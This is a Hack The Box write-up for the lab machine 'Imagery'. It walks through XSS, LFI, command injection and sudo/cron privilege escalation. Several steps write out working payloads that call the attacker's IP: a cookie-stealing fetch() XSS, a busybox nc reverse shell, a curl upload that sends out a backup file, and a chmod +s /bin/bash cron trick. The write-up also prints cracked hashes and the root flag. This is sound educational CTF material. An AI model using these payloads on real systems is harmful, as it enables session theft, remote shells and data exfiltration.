# Writeup: Imagery
Table of Contents
This write-up covers the Hack The Box machine Imagery, a Medium difficulty Linux box revolving around a vulnerable image gallery web app. The main attack vectors include web vulnerabilities like XSS and LFI leading to Remote Code Execution (RCE), and a privilege escalation path via a custom backup utility with cron job abuse. The blog explains enumeration, exploitation, and privilege escalation while highlighting useful techniques and pitfalls.
Enumeration
Running a default nmap scan provided the following key results:
λ | nmap -sV -sC 10.10.11.88 -o imagery.nmapStarting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 15:26 EDTNmap scan report for 10.10.11.88Host is up (0.020s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)|_http-title: Image Gallery|_http-server-header: Werkzeug/3.1.3 Python/3.12.7Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe HTTP service on port 8000 hosts an Image Gallery web app running on Werkzeug with Python 3.12.7.
Initial Web Analysis: XSS and LFI
The entire webpage and routes seemed to be contained in the one file. As well as the code for the admin backend. Here we see a code blog that displays reported bugs. However interesting enough the bug details are note sanitized:
const reportCard = document.createElement('div'); reportCard.className ='bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flexjustify-between items-center'; reportCard.innerHTML = `<div> <p class="text-sm text-gray-500 mb-2"> Report ID: ${DOMPurify.sanitize(report.id)} </p> <p class="text-sm text-gray-500 mb-2"> Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()} </p> <h3 class="text-xl font-semibold text-gray-800 mb-3"> Bug Name: ${DOMPurify.sanitize(report.name)} </h3> <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3> <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words" > ${report.details} </div></div><button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4"> Delete</button>`; bugReportsList.appendChild(reportCard);We can test if report.details is actual vulnerable by first doing a simple
img src.
<img src="http://10.10.14.162/test.png">And running a simple http server with python.
python -m http.server 80We get a call back, so now lets try and add some code.
For example:
<img src/onerror="fetch('http://10.10.14.162', { method: 'POST', mode: 'no-cors', body:document.cookie });">This XSS flaw leads to cookie theft, now we the admin session. We swap our cookies and enter as the admin.
Continuing when further going through the source we can see an LFI (Local File Inclusion) vulnerability:
http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwdWhich returned:
root:x:0:0:root:/root:/bin/bashweb:x:1001:1001::/home/web:/bin/bashmark:x:1002:1002::/home/mark:/bin/bashThe LFI lets us read arbitrary files on the server, crucial for further enumeration.
Investigating the Application (app.py)
Examining application source files revealed key information:
- The app uses Flask with various blueprints for modular routes.
- Passwords are stored as MD5 hashes.
- Admin and testuser account hashes:
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6- The testuser password was cracked offline with hashcat:
hashcat -m 0 -a 0 hashes.txt ~wordlists/rockyou.txtresulting in: 2c65c8d7bfbca32a3ed42596192384f6 → iambatman.
Remote Code Execution via Image Transformation
With access to the test user we can try out the experimental features. First we
take a look at the api_edit.py blueprint which we get via the LFI:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)if transform_type == 'crop': x = str(params.get('x')) y = str(params.get('y')) width = str(params.get('width')) height = str(params.get('height')) command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"The parameters x and y are not sanitized, allowing command injection. As
these are just append to the string.
Testing command injection payload:
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bashWith on the host running:
nc -lvnp 9000Spawned a reverse shell successfully, only closing directly after. So we add a
sleep to keep the connection open.
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash && sleep 10000User Escalation to “mark”
No initial password found for mark. After further enumeration, a backup file
was found using linpeas.
We can downloaded this backup back to our host
curl -X POST https://10.10.14.162:4443/upload -F 'files=@/var/backup/web_20250806_120723.zip.aes' --insecureRunning file on it show that it has been encrypted using pyAesCrypt. So we let ChatGPT make a little python password bruteforcer and crack it using the rockyou wordlist:
./crack.py -e backup.zip.aes -w ~wordlists/rockyou.txt
=== SUCCESS ===Password found (line 670): 'bestfriends'Decrypted file written to: decrypted.binAttempts: 670Done.Inside the backup’s db.json file, credentials for mark@imagery.htb were
found with an MD5 hash (01c3d2e5bdaf6134cec0a367cf53e535).
Using hashcat again, the hash was cracked as:
01c3d2e5bdaf6134cec0a367cf53e535 : supersmashThis password allowed us to switch to user mark using su and capturing the
user flag.
Privilege Escalation to Root
Checking sudo permissions for mark:
sudo -lMatching Defaults entries for mark on Imagery: env_reset, mail_badpass, secure_path=...User mark may run the following commands on Imagery: (ALL) NOPASSWD: /usr/local/bin/charcolcharcol is a backup utility permitting cron job additions.
Adding a cron job to change the SUID bit on bash:
charcol add --schedule "* * * * *" --name root --command "chmod +s /bin/bash"Which we then can utilize by running:
/bin/bash -pThis launches a shell with root privileges.
Finally, we get root flag:
cat /root/root.txt8a768616559f07cd2e87966380f540c8Lessons Learned
- Closely evaluate source code, checking for missing sanitization or injection possibilities.
- Password hashes can often be cracked offline with rockyou or other wordlists.
- Custom utilities with sudo rights are prime privilege escalation targets, especially if they allow cron job scheduling.